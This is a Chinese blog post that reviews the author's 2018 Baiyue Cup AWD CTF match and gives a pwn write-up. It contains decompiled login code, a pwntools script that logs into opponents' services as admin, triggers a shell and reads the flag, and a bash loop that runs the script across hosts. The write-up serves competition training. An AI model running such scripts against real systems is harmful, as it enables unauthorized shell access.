2018第四届百越杯AWD总结

之前准备的waf和监控脚本都没用上,因为上了脚本后三台web服务器都变成了异常,但听学长都能用,所以不知道是哪里出了问题,之后都在忙着做pwn题和写脚本,以及手动上传flag,导致四台服务器全程裸奔,上午一度掉到了倒数四十多名,也就是倒数第三,所幸福建省内的pwn手较少,下午也是靠着pwn服务器进了前20名,拿了个优胜奖。

这一次自身的不足:

第一点是脚本编写能力不足,在没有网络的情况下没办法去查怎么用python的request直接往网页上传漏洞。最后只能让队友帮忙写四十多个python脚本,然后写一个执行所有python文件的bash脚本,就这么笨的方法我还要手动ctrl+c结束那些对方关闭pwn端口的程序。本来12点多做出了pwn题,但是吃饭和写脚本的一个多小时基本只能靠队友一个个端口发payload拿flag,下午也因为5分钟一轮3分多钟要花在复制粘贴提交flag上导致我没办法去patch pwn程序(因为不熟练,可能还要琢磨一两个小时)。

第二点是服务器异常没有及时重置服务器,导致了额外的失分,毕竟被攻陷一轮才丢5分,服务器异常则是10分。

第三点是准备不充分,之前明明了解了root权限下的防御方式,也看了提权的文章,这次比赛也是比较好提权的ubuntu16.04,结果没有提前准备提权的EXP,还是报了比赛期间也许不禁止手机的侥幸心理。

接下来是pwn的write up:

首先看main函数

其中if语句判断admin账号是否登陆,如果admin登陆unk_6075A0为1,sub_402CA6返回1,那么通过验证获取shell(这一点可以通过直接输入1650553704,收到提示不是admin用户)

为此接下来查看登陆程序:

这个程序非常长,我花了一上午没有看出来,主要是卡在各种函数不认识,比如fstream、open、is_open之类的,IDA每次出现这种std开头的超长函数都让我难以理解,可能是大脑抗拒去阅读它们吧,希望能早日适应。(其中name和password两个参数是我改名后的)

  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&name);
  std::operator<<<std::char_traits<char>>(&std::cout, "Please input you name: ");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &name);
  std::operator<<<std::char_traits<char>>(&std::cout, "Please input you password: ");
  std::operator>><char,std::char_traits<char>>(&std::cin, &password);
  std::basic_fstream<char,std::char_traits<char>>::basic_fstream((__int64)&v23);
  std::basic_fstream<char,std::char_traits<char>>::open(&v23, aUserdata, 8LL);
  if ( (unsigned __int8)std::basic_fstream<char,std::char_traits<char>>::is_open((__int64)&v23) ^ 1 )
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "can't open file ");
    v2 = std::operator<<<std::char_traits<char>>(v1, aUserdata);
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    exit(0);
  }
  std::allocator<char>::allocator(&v28);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v27, "tmp", &v28);
  v3 = sub_404F11(&name, &v27);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v27);
  std::allocator<char>::~allocator(&v28);
  if ( v3 )
  {
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, aUserdata);
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  }
  v18 = 0LL;
  v19 = 0LL;
  v20 = 0LL;
  v21 = 0LL;
  v22 = 0;
  sub_402ABE(&password, (__int64)&v18);
  std::allocator<char>::allocator(&v29);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v17, &v18, &v29);
  std::allocator<char>::~allocator(&v29);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v16);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v15);
  while ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::eof(&v24) ^ 1 )
  {
    v5 = std::operator>><char,std::char_traits<char>,std::allocator<char>>(&v23, &v16);
    std::operator>><char,std::char_traits<char>,std::allocator<char>>(v5, &v15);
    v6 = (unsigned __int8)sub_404F11(&v16, &name) || (unsigned __int8)sub_404F11(&v15, &v17);
    if ( v6 )
    {
      v7 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome ");
      v8 = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(v7, &name);
      std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
      *a1 = sub_404F95((__int64)&v16, (__int64)"admin") != 0;//重点!!!!
      a1[1] = 1;
      std::basic_fstream<char,std::char_traits<char>>::close(&v23);
      goto LABEL_28;
    }
    v9 = (unsigned __int8)sub_404F11(&v16, &name) && (unsigned __int8)sub_404FBF(&v15, &v17);
    if ( v9 )
    {
      v10 = std::operator<<<std::char_traits<char>>(&std::cout, "Password error!");
      std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
      std::basic_fstream<char,std::char_traits<char>>::close(&v23);
      goto LABEL_28;
    }
    v11 = (unsigned __int8)sub_404FBF(&v16, &name) && (unsigned __int8)sub_404F11(&v15, &v17);
    if ( v11 )
    {
      v12 = std::operator<<<std::char_traits<char>>(&std::cout, "username error!");
      std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
      std::basic_fstream<char,std::char_traits<char>>::close(&v23);
      goto LABEL_28;
    }
  }
  std::basic_fstream<char,std::char_traits<char>>::close(&v23);
  v13 = std::operator<<<std::char_traits<char>>(&std::cout, "username does not exist!");
  std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
LABEL_28:
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v15);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v16);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v17);
  std::basic_fstream<char,std::char_traits<char>>::~basic_fstream(&v23);
  return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&name);

看似非常长的程序,其实就是读取根目录下的UserData文件,里面有三行,分别是账号admin guest ctf,空格后跟着一串加密后的密码,只要输入的账号密码与之匹配就行了。整段代码刨除一大堆判断是否能打开文件、账号密码是否匹配外,只有两行是我们需要的

*a1 = sub_404F95((__int64)&v16, (__int64)"admin") != 0;
 a1[1] = 1;

可以看到只要输入的是admin,那么sub_402CA6就会返回1,从而通过if验证,这时候输入1650553704就能得到shell

(其实我都没看完程序,因为中间没仔细看,没发现UserData里的密码是加密后的,因为没法解密就随便试出了账号与密码相同。。。)

构造payload

from pwn import *
#context.log_level = 'debug'
s=remote("172.16.5.10",5066)#连接十号主机
s.sendlineafter("choose:","1")#选择登陆
s.sendlineafter("name: ","admin")#输入账号密码
s.sendlineafter("password: ","admin")
s.sendlineafter("your choose:","1650553704")#选择执行system("/bin/sh")
s.sendlineafter("shell:\n","cat flag")#获取flag
a=s.recv()
print a
bash脚本如下(省略20以后)
python 10.py
python 12.py
python 13.py
python 15.py
python 16.py
python 17.py
python 18.py
python 19.py


其实这次pwn服务器拿flag挺简单的,考察的只是看IDA代码的基本能力,花了两个多小时才拿到flag也是自己基本功不够。

最后再加上一些这次AWD学到的常识:

说明书是这样的,其中登陆本地服务器就是输入172.16.9.0/24的网址,如果是web网页就直接输入ip地址

web服务器就用mobaXtern之类的ssh工具连接就好,pwn服务器也是一样。

如果要登陆别人的web页面,就是访问172.16.5.0/24的网址,比如172.16.5.22:5067

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值